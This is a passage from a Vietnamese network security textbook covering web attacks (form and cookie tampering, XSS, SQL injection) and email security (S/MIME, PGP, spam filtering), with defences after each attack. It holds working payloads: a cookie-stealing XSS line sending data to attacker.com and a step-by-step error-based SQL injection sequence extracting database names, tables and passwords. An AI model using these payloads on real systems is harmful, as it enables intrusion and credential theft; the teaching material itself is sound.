</form>

Thì yêu cầu sẽ thay đổi:

Page 127: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

127

POST /cuahang.asp HTTP/2.0

Giaca=999999999999999999999999999999999999999

Ngoài việc thay đổi nội dung biến ẩn form, hacker còn biến đổi nội dung các thành

phần trong form, như chiều dài một ô nhập dữ liệu để thực hiện việc tấn công tràn

bộ đệm.

4.1.2.2. Một số biện pháp khắc phục

Chỉ nên sử dụng biến ẩn form để hiển thị dữ liệu lên trình duyệt, không

được sử dụng giá trị biến để thao tác trong xử lý ứng dụng.

Dung biến HTTP_REFERER để kiểm tra nguồn gốc của yêu cầu gửi đến,

tuy nhiên, hacker có thể che dấu nguồn gốc thực của mình bằng Proxy, do

vậy cũng không nên quá tin tưởng vào biến HTTP_REFERER.

Sử dụng thuật toán mã hóa một chiều để tạo chuỗi mã hóa cho biến ẩn form.

4.1.3. Thao tác trên cookie

4.1.3.1. Khái niệm

Cookie là những phần dữ liệu nhỏ có cấu trúc được chia se giữa trình chủ và trình

duyệt của người dung.

Các cookie được lưu trữ dưới dạng những file text, được ứng dụng tạo ra để lưu

trữ/ truy tìm/ nhận biết các thông tin về người dung đã ghé thăm trang web và

những vung họ đã đi qua trong trang. Nhưng thông tin này có thể bao gồm định

Page 128: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

128

danh người dung, mật khẩu, sở thích, thói quen,… Cookie thường được trình duyệt

của người dung lưu trên máy tính của họ.

Với cookie, ở những lần truy cập sau đó đến trang web, ứng dụng có thể dung lại

thông tin trong cookie (như các thông tin đăng nhập) nên người dung không phải

cung cấp lại các thông tin.

Điểm yếu đối với cookie là nó có thể bị thay đổi bởi người dung. Do đó, hacker có

thể lợi dụng thay đổi nội dung cookie để tấn công ứng dụng.

Ví dụ: Cookie dung để lưu trữ thông tin của người dung cho ứng dụng web có

dạng:

Cookie: Lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ;

Cookie xác định người dung này không phải là admin (ADMIN=no), nhưng nếu

hacker thay đổi trường giá trị trường ADMIN như sau:

Cookie: Lang=en-us; ADMIN=yes; y=1 ; time=11:30GMT ;

Thì hacker lúc này mang vai trò là admin của ứng dụng.

4.1.3.2. Một số biện pháp khắc phục

Sử dụng đối tượng session lưu trữ thông tin quan trọng (tài khoản người

dùng) trên trình chủ. Khi ứng dụng cần kiểm tra thông tin của một người

dung, ứng dụng sẽ dung sessionID của người dung để trỏ đến thông tin của

người dung đó trong cache hay cơ sở dữ liệu.

Page 129: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

129

Xây dựng một cơ chế kiểm tra nội dung của cookie để tìm ra giá trị không

hợp lệ. Ví dụ, có thể thêm cờ STT vào cookie cung với trường ADMIN, nếu

trường ADMIN được thiết lập là “yes” nhưng giá trị STT lại không trung

với STT của ADMIN được lưu trên server, có thể kết luận cookie đó là giả.

Mã hóa cookie.

4.2. Cross Site Scripting

4.2.1. Khái niệm

Cross-Site Scripting hay còn được gọi tắt là XSS là một kĩ thuật tấn công bằng

cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những the HTML hay

những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng

khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng

các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các the

HTML.

Kĩ thuật tấn công XSS đã nhanh chóng trở thành một trong những lỗi phổ biến nhất

của Web Applications và mối đe doạ của chúng đối với người sử dụng ngày càng

lớn.

Mục tiêu tấn công của XSS chính là những người sử dụng khác của website, khi họ

vô tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker để lại họ có

thể bị chuyển tới các website khác, đặt lại homepage, hay nặng hơn là mất mật

khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor,

worm ..

Page 130: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

130

Ví dụ: hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích hoạt

những đoạn mã viết bằng ngôn ngữ phía client như VBScript, JavaScript… được

thực thi trên trình duyệt nạn nhân:

http://example.com/index.html?tw=<script>alert(document.cookie)</script>

Phần in đậm là đoạn mã được thêm vào với mục đích đánh cắp cookies của nạn

nhân.

Hay hacker tấn công XSS thông qua file flash:

GetURL(“javascript:location(‘http://www.attacker.com?newcookie=’

+document.cookie)”)

Đây là một đoạn mã action script được hỗ trợ trong lập trình Flash. Khi Flash được

mở, cookies nạn nhân sẽ bị đánh cắp và truyền về cho hacker.

Trên đây chỉ là 2 ví dụ đơn giản về kiểu tấn công XSS, trên thực tế, Hacker có thể

triển khai rất nhiều cách tấn công XSS. Tuy nhiên, tác hại của XSS hoàn toàn có

thể giảm thiểu nếu người dung có ý thức cảnh giác tốt.

4.2.2. Cách phòng chống

Với những dữ liệu, thông tin đầu vào, người thiết kế ứng dụng web cần phải

thực hiện những bước cơ bản sau:

o Tạo ra danh sách the HTML được sử dụng.

o Xóa bỏ the <Script> nếu không dung đến.

o Lọc ra bất kỳ một đoạn mã JavaScript/VBScript/ActiveX nào.

Page 131: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

131

o Lọc dấu nháy đơn hay kép.

o Lọc ký tự Null.

Thực hiện kiểm tra lỗi XSS tự động bằng các phần mềm quét lỗi như N-

Stealth, Acunetix Web Vulnerability Scanner,…

Đối với người dung, cần nâng cao nhận thức và tinh thần cảnh giác về nguy

cơ bị tấn công XSS. Ngoài ra, có thể cấu hình trình duyệt để thông báo cho

người dung khi có một ngôn ngữ kịch bản nào đó yêu cầu được thực thi.

4.3. SQL Injection

4.3.1. SQL Injection

4.3.1.1. Khái niệm: SQL Injection là một trong những kiểu hack web đang dần trở

nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input

trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username

và password, remote execution, dump data và lấy root của SQL server. Công cụ

dung để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer,

Netscape, Lynx, ...

Nguyên nhân gây ra việc tấn công theo kiểu SQL Injection là:

- Kiểm tra, xác thực các giá trị đầu vào qua giao diện web có nhiều lỗ hổng

- Ứng dụng sử dụng những câu lệnh SQL động, không an toàn

- Ứng dụng có quá nhiều quyền kết nối đến database

4.3.1.2. Mục tiêu tấn công: Là các trang web cho phép submit dữ liệu ở bất kì một

trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, ...

4.3.1.3. Kiểm tra chỗ yếu của trang web: Thử submit các field username,

password hoặc field id, .. bằng chuỗi ký tự

Page 132: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

132

hi' or 1=1--

Login: hi' or 1=1--

Password: hi' or 1=1--

Theo cách điền thông tin này, câu truy vấn trong trang ASP sẽ là:

SELECT * FROM users WHERE username = 'hi' or 1=1—-' AND password = '[password]';

Kết quả là câu truy vấn có trả lại kết quả và việc đăng nhập thành công

4.3.1.4. Thi hành lệnh bằng SQL Injection: Dưới đây sẽ trình bày cách sử dụng

SQL Injection để lấy các thông tin về database

- Lấy thông tin về hệ quản trị cơ sở dữ liệu: Sử dụng chuỗi ký tự

' and 1 in (SELECT @@version)--

Khi đó thông điệp lỗi trả về:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the nvarchar value 'Microsoft SQL Server 2000 - 8.00.534 (Intel X86) Nov 19 2001 13:23:50 Copyright (c) 1988-

2000 Microsoft Corporation Ente

prise Edition on Windows NT 5.0 (Build 2195: Service Pack 3) ' to a col

umn of data type int.

/login.asp, line 16

Có thể tham chiếu đến phiên bản của SQL Server tại trang web SQLSecurity

(http://sqlsecurity.com/DesktopDefault.aspx?tabid=37), phiên bản 8.00.534 tương

ứng với SQL Server 2000 service pack 2 và chưa được cài hostfix. Phiên bản này

dễ bị tổn thương với các tấn công về bộ dệm trong thủ tục lưu trữ như xp_sprintf,

formatmassage() và raiserror() (http://icat.nist.gov/icat.cfm?cvename=CAN-2002-

0154).

Lấy tên máy chủ: Sử dụng chuỗi nhập vào

' and 1 in (SELECT @@servername)--

Lúc đó thông điệp lỗi trả về:

Syntax error converting the nvarchar value 'NTHHA' to a column of data type int.

Như vậy, bước đầu tiên ta xác định được tên server là NTHHA

Page 133: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

133

Lấy tên database: Sử dụng chuỗi nhập vào

' and 1 in (SELECT db_name())--

Lúc đó thông điệp lỗi trả về

Syntax error converting the nvarchar value 'test' to a column of data type int.

Xem user đăng nhập: Sử dụng chuỗi nhập vào

' and 1 in (SELECT system_user)--

Lúc đó thông điệp lỗi trả về

Syntax error converting the nvarchar value 'sa' to a column of data type int.

Lấy tên các bảng trong cơ sở dữ liệu: Để thực hiện điều này ta đưa vào các từ

khoá HAVING và GROUP BY như sau:

a' and 1 in (select top 1 table_name from information_schema.tables)--

Lúc đó thông điệp lỗi trả về

Syntax error converting the nvarchar value 'login' to a column of data type int.

Bảng đầu tiên của cơ sở dữ liệu là login. Dựa vào thông tin này, ta lấy ra bảng tiếp

theo dựa theo chuỗi đưa vào như sau:

a' and 1 in (select top 1 table_name from information_schema.tables where table_name not in ('login'))--

Để lấy hết các bảng ta thực hiện lặp lại công việc trên cho đến khi ko ra màn hình

lỗi

Lấy thông tin các cột trong bảng: Sử dụng chuỗi nhập vào

'; select * from login having 1=1--

Lúc đó thông điệp lỗi trả về

Column 'login.id' is invalid in the select list because it is not contained in an aggregate function and there is no

GROUP BY clause. Column 'login.name' is invalid in the select list because it is not contained in an aggregate

function and there is no GROUP BY clause. Column 'login.password' is invalid in the select list because it is not

contained in an aggregate function and there is no GROUP BY clause.

Page 134: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

134

Lúc này ta xác định được bảng login có các cột là: ID, NAME, PASSWORD. Lặp

lại công việc này với toàn bộ các bảng đã được trích ra ở bước trên.

Xem dữ liệu trong bảng: Sử dụng chuỗi nhập vào

'; select 1 union select min(name) from login --

'; select 1 union select min(password) from login --

Lúc đó thông điệp lỗi trả về

Syntax error converting the varchar value 'admin' to a column of data type int.

Syntax error converting the varchar value 'nE1410s' to a column of data type int.

Kết quả dữ liệu bảng login như sau:

Id Name Password

1 admin nE1410s

2 Client1 e452ks

Time delays

Những ví dụ ở trên về kỹ thuật SQL injection được thực hiện khi các ứng dụng

client có thể xem các thông điệp lỗi được trả lại bởi webserver mà thường thì các

webserver được cấu hình để không trả lại các thông điệp lỗi. Trong trường hợp ke

tấn công nghi ngờ một trang web là dễ bị hack bởi kỹ thuật SQL injection mà

không thể xem bất kỳ các thông điệp lỗi trả về từ webserver đó. Cách thức này sẽ

kiểm tra các phán đoán thông qua thời gian phản hồi từ webserver để biết rằng

thông tin phán đoán đó là đúng hay sai.

if (is_srvrolemember('sysadmin') > 0) waitfor delay '0:0:5'

Xác thực qua câu lệnh OPENROWSET

Là cách xác thực thông qua câu lệnh OPENROWSET. Cách này được sử dụng từ

một csdl trên máy khác để tấn công khi biết mật khẩu truy cập, ví dụ:

select * from OPENROWSET('MSDASQL','DRIVER={SQL Server}; SERVER=; uid=sa; pwd=password','select

@@version')

4.3.1.5. Giải pháp đề phòng tấn công theo kiểu SQL Injection

Việc tấn công dựa trên kỹ thuật SQL Injection dựa vào những câu thông báo lỗi do

đó việc phòng chống tốt nhất vẫn là không cho hiển thị những thông điệp lỗi cho

người dung bằng cách thay thế những lỗi thông báo mặc định bằng một trang do

người phát triển thiết kế.

Page 135: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

135

Loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong

các string nhận được từ:

input do người dung đệ trình

các tham số từ URL

các giá trị từ cookie

Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query

SQL, hoặc dung ISNUMERIC để chắc chắn nó là một số integer.

Thay đổi "Startup and run SQL Server" dung mức low privilege user

trong tab SQL Server Security.

Xóa các stored procedure trong database master mà không dung như:

xp_cmdshell

xp_startmail

xp_sendmail

sp_makewebtask

5. Các biện pháp phòng chống chung

Phòng chống tấn công đối với ứng dụng Web không chỉ là nhiệm vụ của riêng

những người lập trình Web mà cần có sự kết hợp, hỗ trợ của người quản trị hệ

thống và bản thân người dung. Thiếu một trong ba yếu tố này đều có thể dẫn đến

những rủi ro về thông tin cũng như về an ninh hệ thống.

5.1. Đối với người quản trị hệ thống

- Người quản trị hệ thống cần xác định rõ những đối tượng nào là quan trọng

nhất trong hệ thống cần bảo vệ; xác định rõ mức độ ưu tiên đối với những

đối tượng đó.

Page 136: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

136

Ví dụ: các đối tượng cần bảo vệ trong hệ thống có thể là: Các máy chủ dịch

vụ, các router, các điểm truy cập hệ thống, các chương trình ứng dụng, hệ

quản trị CSDL,…

- Người quản trị hệ thống phải cẩn trọng và chính xác trong việc cấu hình

trình chủ và một số ứng dụng. Không nên thiết lập cho ứng dụng chạy với

quyền cao nhất tránh trường hợp Hacker lợi dụng thực thi những câu lệnh

điều khiển hệ thống.

- Xác định nguy cơ đối với hệ thống chính là xác định các lỗ hổng bảo mật

của các dịch vụ, ứng dụng trên hệ thống đó. Việc xác định đúng đắn các

nguy cơ này giúp người quản trị có thể tránh được những cuộc tấn công

mạng, hoặc có biện pháp bảo vệ đúng đắn bằng cách thường xuyên cập nhật

các bản vá lỗi, nâng cấp ứng dụng…

- Phân quyền và kiểm soát chặt chẽ quyền hạn của từng tài khoản trong hệ

thống. Chỉ nên sử dụng quyền Root hoặc administrator khi thật sự cần thiết.

Những tài khoản không dung cần phải vô hiệu hóa…

- .v.v.

5.2. Đối với người lập trình Web

- Đảm bảo dữ liệu cung cấp từ người dung là hợp lệ: tất cả các dữ liệu đưa

vào phải được kiểm tra kỹ, loại bỏ hoặc từ chối những ký tự đặc biệt như < >

‘ -- , .v.v.

- Chứng thực người dung: Nhiều ứng dụng hiện nay quản lý một phiên làm

việc của người dung bằng Session ID nhưng sự yếu kém trong cách quản lý

một phiên làm việc khiến cho hacker có thể dễ dàng kiểm soát được phiên

làm việc của người dung như đã đề cập trong phần kỹ thuật tấn công. Vì thế,

đối với một phiên làm việc, ứng dụng cần hủy phiên ngay sau khi trình duyệt

đóng kết nối.

Page 137: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

137

- Mã hóa dữ liệu quan trọng: Những thông tin quan trọng như

username/password, thông tin tín dụng,… cần được mã hóa để tránh hacker

lấy được nội dung và sử dụng chúng bất hợp pháp như trong các kỹ thuật

XSS…

- .v.v.

5.3. Đối với người sử dụng

- Người sử dụng cần trang bị cho mình kiến thức nhất định về an toàn thông

tin, đặc biệt là những rủi ro khi sử dụng trình duyệt web như XSS,

SessionID…

- Sau khi sử dụng xong ứng dụng web, cần thoát khỏi hệ thống thực sự (sign

out) để những nội dung quan trọng lưu trữ trong cookie bị hủy bỏ.

- Người dung cần nhận thức được vai trò quan trọng trong việc bảo vệ tài

khoản của mình. Các hoạt động quản lý tài khoản bao gồm việc bảo vệ mật

khẩu, thay đổi mật khẩu định kỳ, …

Page 138: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

138

CHƯƠNG 3: THƯ ĐIỆN TỬ VÀ CÁC VẤN ĐỀ AN NINH

1. Khái niệm

Trước khi bắt đầu tìm hiểu về các vấn đề an ninh với thư điện tử, chúng ta hãy xem

thử điện tử hoạt động như thế nào. Khái niệm thư điện tử - Email khá đơn giản, đó

là một thông điệp điện tử được truyền đi qua mạng. Các “Email Clients” là các

chương trình được dung để tạo, gửi, nhận và đọc thư điện tử. Ngày nay, email

chẳng những có thể truyền gửi được chữ, nó còn có thể truyền được các dạng

thông tin khác như hình ảnh, âm thanh, phim, và đặc biệt các phần mềm thư điện

tử kiểu mới còn có thể hiển thị các email dạng sống động tương thích với kiểu tệp

HTML.

Khi một thư điện tử được gửi đi, nó phải qua rất nhiều trạm dừng. Trạm dừng đầu

tiên là Email Server (máy chủ thư điện tử); trong hình minh họa, Email Server là

của nhà cung cấp dịch vụ. Email Server có thể là một máy tính được cài đặt các

ứng dụng như Microsoft Exchange, Lotus Notes, Sendmail hay Mdeamon… Khi

thông điệp được gửi đến, Email Server sẽ phân tích địa chỉ đích cần gửi. Một địa

chỉ thư điện tử có dạng tên_email@tên_miền (ví dụ: [email protected]). Tiếp đó,

Email Server sẽ thực hiện các thao tác phân giải tên miền để biết được địa chỉ IP

Email Server của tên miền cần gửi (trong ví dụ này, đó là evn.com.vn). Email

Server phía người gửi sẽ chuyển tiếp thư điện tử đến Email Server phía người

nhận. Email Server phía người nhận sau khi nhận được thư điện tử sẽ đặt nó vào

đúng mailbox của người nhận, dựa vào phần tên_email trong địa chỉ thư (ví dụ: Anhdh).

Trong thực tế, một thư điện tử thông thường muốn đến được với người nhận phải

trải qua rất nhiều thiết bị định tuyến cũng như các môi trường mạng khác nhau. Do

vậy, để bảo vệ thông tin, người ta thường sử dụng các giao thức mã hóa thư điện

tử. Việc mã hóa sẽ giúp đảm bảo thông tin chứa trong thư điện tử không bị đoạt

được bởi một bên thứ ba (Tính bí mật của thông tin - Confidentiality).

Secure/Multipurpose Internet Mail Extensions (S/MIME) và Pretty Good Prevacy

(PGP) là các giao thức/phần mềm mã hóa email được sử dụng phổ biến hiện nay.

2. Giao thức MIME

Trước khi tìm hiểu về S/MIME, chúng ta hãy tìm hiểu thế hệ trước của nó –

MIME. MIME là một phần mở rộng của giao thức Simple Mail Transfer Protocol

Page 139: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

139

(SMTP), cho phép truyền nhiều loại dữ liệu bao gồm âm thanh, hình ảnh, video và

các loại tệp tin khác trong phần đính kèm của email (attachment). Phần tiêu đề của

MIME (MIME Header) được chèn vào phần đầu của email, chương trình email

client sử dụng MIME header để xác định chương trình nào sẽ được sử dụng để đọc

gói dữ liệu đính kèm. Ví dụ, nếu một tệp tin audio được đính kèm trong một email,

chương trình Email client (vd: Outlook) sẽ xác định phần đuôi mở rộng của tệp tin

audio và sử dụng một chương trình audio player như Windows Media Player để

mở tệp tin.

3. Giao thức bảo mật S/MIME

Vì MIME không cung cấp bất cứ tính năng bảo mật nào, nên các nhà phát triển

của tổ chức RSA Security đã tạo ra S/MIME. Cũng như MIME, S/MIME cũng

chèn header vào phần đầu của email. Tuy nhiên, S/MIME sử dụng header nhằm

đưa vào hai phương pháp an ninh cho email là: Mã hóa và chứng thực. S/MIME sẽ

xem xét phần header của email để xác định các thông tin liên quan đến việc mã hóa

và chứng chỉ điện tử được xử lý thế nào. Email sẽ được mã hóa bằng phương pháp

mã hóa đối xứng, còn mã hóa bất đối xứng được dung để chứng thực và trao đổi

khóa đối xứng. S/MIME có thể sử dụng với ba thuật toán mã hóa đối xứng là:

DES, 3DES và RC2.

4. Phần mềm PGP

Cũng như S/MIME, Pretty Good Prvacy - PGP là một phần mềm mã hóa được

dung để mã hóa email và các tệp tin. PGP có cả những phiên bản miễn phí và

phiên bản thương mại. Có thể tìm thấy các thông tin về phiên bản PGP miễn phí tại

địa chỉ www.pgpi.org và phiên bản thương mại tại địa chỉ www.pgp.com . Khi

phần mềm PGP được cài đặt, ta có thể sử dụng chúng dưới dạng plug-in trong các

chương trình Microsoft Outlook, Outlook Express, ICQ, Netscape… để mã hóa,

giải mã, và ký điện tử.

5. Những vấn đề an ninh với thư điện tử

Hiện nay, ước tính mỗi ngày có khoảng 15 tỷ email được truyền đi, và con số đó có

thể tăng lên gấp đôi hoặc ba lần trong vài năm tới. Rõ ràng, email ngày càng trở

nên phổ biến do khả năng đáp ứng nhanh chóng cũng như chi phí hoạt động thấp

hơn rất nhiều so với các loại hình truyền thông khác. Tuy nhiên, kèm theo đó chính

Page 140: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

140

là những vấn đề về an ninh còn tồn tại của dịch vụ truyền thông này. Đó có thể là

các vấn đề về kỹ thuật như điểm yếu SMTP Relay, điểm yếu ở các phần mềm

Email Client (vd: Microsoft Outlook ); đó cũng có thể các vấn đề xuất phát từ yếu

tố con người như Spam, Phising,…

Giải pháp bảo mật cho các vấn đề kể trên có thể kể đến là: Cấu hình chính xác

Email Server, thường xuyên cập nhật bản vá lỗi cho các phần mềm Email Client,

sử dụng các chương trình chống virus, chống spam và cũng luôn đảm bảo chúng

được cập nhật thường xuyên, đề phòng đối với thư lừa đảo (phising), nâng cao

nhận thức người sử dụng.

5.1. SMTP Relay

Một tính năng của giao thức SMTP là SMTP Relay. SMTP Relay cho phép Mail

Server nhận các email đến và chuyển tiếp chúng đến các Email Server đích. Thông

thường, một tổ chức cần cấu hình để SMTP Server có khả năng relay tất cả các

email đến và đi.

Tính năng này của SMTP phải được cấu hình thật cẩn thận và chính xác. Bởi vì

đây chính là điểm yếu để ke xấu lợi dụng phát tán thư rác (Spam). Các Email

Server cấu hình tính năng SMTP Relay không đúng được gọi là Open SMTP

Relay. Các “Spammers” (những ke chuyên phát tán thư rác) sẽ tìm kiếm các Open

SMTP Relay Server để thực hiện việc gửi thư rác. Việc phát tán thư rác quá nhiều

từ một tên miền nào đó sẽ khiến tên miền đó bị đặt vào DNS-based BlackHole

List (DNSBL) nhằm ngăn chặn email phát tán từ domain đó.

Page 141: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

141

Tuy vào từng sản phẩm Email Server, chúng ta có các cách cấu hình khác nhau để

không rơi vào tình trạng Open Relay. Tuy nhiên, một lưu ý đối với những nhà quản

trị hệ thống là phải cấu hình thật chính xác chức năng SMTP relay và phải thực

hiện kiểm tra để chắc chắn rằng email server đã được cấu hình chính xác trước khi

đưa vào hoạt động.

5.2. Vấn đề đối với Virus

Microsoft Outlook được coi là mục tiêu tấn công ưa thích của virus, và lý do chính

là do MS Outlook có quá nhiều tính năng (!). Thực tế là một sản phẩm phần mềm

càng nhiều tính năng, càng nhiều khả năng xuất hiện các lỗ hổng có thể lợi dụng

khai thác. Hầu hết các virus email như ILOVEYOU, Melissa, Anna Kornakova

đều tấn công nhằm vào điểm yếu của chương trình MS Outlook. Viruses thường

phát tán dưới dạng phần đính kèm của email. Phần đính kèm có thế là tệp tin nén

(vd: tệp tin RAR), chương trình (ví dụ: tệp tin EXE) hay văn bản (vd: tệp tin XLS).

Khi tệp tin đính kèm được thực thi (mở tệp tin, cài đặt chương trình, giải nén…),

máy tính đó sẽ bị nhiễm virus.

Nhiều chương trình email client cung cấp tính năng “Preview” cho phép người

dung xem nội dung thông điệp dưới dạng văn bản HTML. Đây cũng là một vấn đề

bảo mật vì máy tính người dung hoàn toàn có thể bị nhiễm các virus được chèn bên

trong cấu trúc HTML.

Để bảo đảm an toàn, các chương trình email client nên được cài đặt để chỉ đọc

thông tin dạng text thông thường (plain text) hoặc sử dụng các chương trình diệt

virus trước khi đọc email. Và một điểm cần chú ý nữa là luôn phải đảm bảo các

chương trình email client cũng như chương trình diệt virus được cập nhật đầy đủ.

5.3. SPAM

5.3.1. Đặc điểm của SPAM

SPAM là những email không được sự cho phép của người nhận (Unsolicited

email) được gửi đi với số lượng lớn tới hòm thư của người dung Internet.

SPAM đôi khi còn được xem là những email thương mại không được sự cho phép

của người nhận (UCE – Unsocilited Commercial Email). Spam thường là những

email vô hại và được gửi tới một số lượng lớn người nhận khác nhau. Spam được

gửi với số lượng lớn có thể làm đầy hòm thư của người nhận, nên họ không nhận

được các thư mới. Ngoài ra spam còn chiếm dụng băng thông, có thể gây tắc nghẽn

Page 142: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

142

đường truyền. Một số loại spam còn chứa nội dung lừa đảo, nhằm mục đích lừa

người dung cung cấp các thông tin cá nhân như mã số the tín dụng, mật khẩu... -

hay đây chính là một dang phổ biến của lừa đảo trực tuyến (Phishing).

SPAM không những gây khó chịu, phiền hà cho người dung mà nó còn có thể là

công cụ để thực hiện tấn công từ chối dịch vụ Email Server bằng cách làm tràn

ngập kho lưu trữ (Storage) trên Email Server.

Để tiến hành gửi spam, người gửi (spammer) cần phải có một số lượng lớn các địa

chỉ email người nhận, danh sách có thể lên đến hàng triệu. Các địa chỉ email có thể

được thu thập bằng nhiều cách như: sử dụng các chương trình tự động tìm các địa

chỉ email trên Internet, tấn công vào các diễn đàn để lấy trộm cơ sở dữ liệu về các

thành viên, dung phương pháp tấn công kiểu từ điển, dung các tên thông dụng (ví

dụ John, Smith, Steve,...) ghép với hàng ngàn tên miền khác nhau thành các địa chỉ

đúng và có xác suất thành công rất cao.

Spam có đặc điểm là không tốn nhiều chi phí khi gửi đến một số lượng người nhận

lớn, vì thế các spammer không cần sàng lọc các đối tượng nhận thư được gửi trùng

lặp nhiều lần tới cung một địa chỉ người nhận.

5.3.2. Các phương pháp chống SPAM

Spam gây ra rất nhiều tác hại, do vậy việc phòng chống và ngăn chặn các spam là

cần thiết. Hiện có nhiều công ty phần mềm cung cấp giải pháp chống spam, mỗi

dòng sản phẩm có những tính năng và các ưu nhược điểm riêng, nhưng hầu hết các

sản phẩm đó đều hoạt động dựa vào một số nguyên lý sau:

Sử dụng DNS blacklist

Phương pháp sử dụng DNS black list sẽ chặn các email đến từ các địa chỉ nằm

trong danh sách DNS blacklist. Có hai loại danh sách DNS Blacklist thường được

sử dụng, đó là:

• Danh sách các miền gửi spam đã biết, danh sách các miền này được liệt kê và cập

nhật tại địa chỉ http://spamhaus.org/sbl.

• Danh sách các máy chủ email cho phép hoặc bị lợi dụng thực hiện việc chuyển

tiếp spam được gửi đi từ spammer. Danh sách này được liệt kê và cập nhật thường

xuyên tại địa chỉ http://www.ordb.org. Cơ sở dữ liệu Open Relay Database này

được duy trì bởi ORDB.org là một tổ chức phi lợi nhuận.

Page 143: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

143

Khi một email được gửi đi, nó sẽ đi qua một số SMTP server trước khi chuyển tới

địa chỉ người nhận. Địa chỉ IP của các SMTP server mà email đó đã chuyển qua

được ghi trong phần header của email. Các chương trình chống spam sẽ kiểm tra

tất cả các địa chỉ IP đã được tìm thấy trong phần header của email đó sau đó so

sánh với cơ sở dữ liệu DNS Blacklist đã biết. Nếu địa chỉ IP tìm thấy trong phần

này có trong cơ sở dữ liệu về các DNS Blacklist, nó sẽ bị coi là spam, còn nếu

không, email đó sẽ được coi là một email hợp lệ.

Phương pháp này có ưu điểm là các email có thể được kiểm tra trước khi tải xuống,

do đó tiết kiệm được băng thông đường truyền. Nhược điểm của phương pháp này

là không phát hiện ra được những email giả mạo địa chỉ người gửi.

Sử dụng SURBL list

Phương pháp sử dụng SURBL phát hiện spam dựa vào nội dung của email.

Chương trình chống spam sẽ phân tích nội dung của email xem bên trong nó có

chứa các liên kết đã được liệt kê trong Spam URI Realtime Blocklists (SURBL)

hay không. SURBL chứa danh sách các miền và địa chỉ của các spammer đã biết.

Cơ sở dữ liệu này được cung cấp và cập nhật thường xuyên tại địa chỉ

www.surbl.org.

Có nhiều danh sách SURBL khác nhau như sc.surbl.org, ws.surbl.org, ob.surbl.org,

ab.surbl.org..., các danh sách này được cập nhật từ nhiều nguồn. Thông thường,

người quản trị thường kết hợp các SURBL list bằng cách tham chiếu tới địa chỉ

multi.surbl.org. Nếu một email sau khi kiểm tra nội dung có chứa các liên kết được

chỉ ra trong SURBL list thì nó sẽ được đánh dấu là spam email, còn không nó sẽ

được cho là một email thông thường.

Phương pháp này có ưu điểm phát hiện được các email giả mạo địa chỉ người gửi

để đánh lừa các bộ lọc. Nhược điểm của nó là email phải được tải xuống trước khi

tiến hành kiểm tra, do đó sẽ chiếm băng thông đường truyền và tài nguyên của máy

tính để phân tích các nội dung email.

Kiểm tra người nhận

Tấn công spam kiểu “từ điển” sử dụng các địa chỉ email và tên miền đã biết để tạo

ra các địa chỉ email hợp lệ khác. Bằng kỹ thuật này spammer có thể gửi spam tới

các địa chỉ email được sinh ra một cách ngẫu nhiên. Một số địa chỉ email trong số

Page 144: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

144

đó có thực, tuy nhiên một lượng lớn trong đó là địa chỉ không tồn tại và chúng gây

ra hiện tượng “lụt” ở các máy chủ mail.

Phương pháp kiểm tra người nhận sẽ ngăn chặn kiểu tấn công này bằng cách chặn

lại các email gửi tới các địa chỉ không tồn tại trên Active Directory hoặc trên máy

chủ mail server trong công ty. Tính năng này sẽ sử dụng Active Directory hoặc

LDAP server để xác minh các địa chỉ người nhận có tồn tại hay không. Nếu số địa

chỉ người nhận không tồn tại vượt quá một ngưỡng nào đó (do người quản trị thiết

lập) thì email gửi tới đó sẽ bị coi là spam và chặn lại.

Kiểm tra địa chỉ

Bằng cách kiểm tra địa chỉ người gửi và người nhận, phần lớn spam sẽ được phát

hiện và chặn lại. Thực hiện kiểm tra địa chỉ người gửi trước khi email được tải

xuống sẽ tiết kiệm được băng thông đường truyền cho toàn hệ thống.

Kỹ thuật Sender Policy Framework (SPF, www.openspf.org) được sử dụng để

kiểm tra địa chỉ người gửi email. Kỹ thuật SPF cho phép chủ sở hữu của một tên

miền Internet sử dụng các bản ghi DNS đặc biệt (gọi là bản ghi SPF) chỉ rõ các

máy được dung để gửi email từ miền của họ. Khi một email được gửi tới, bộ lọc

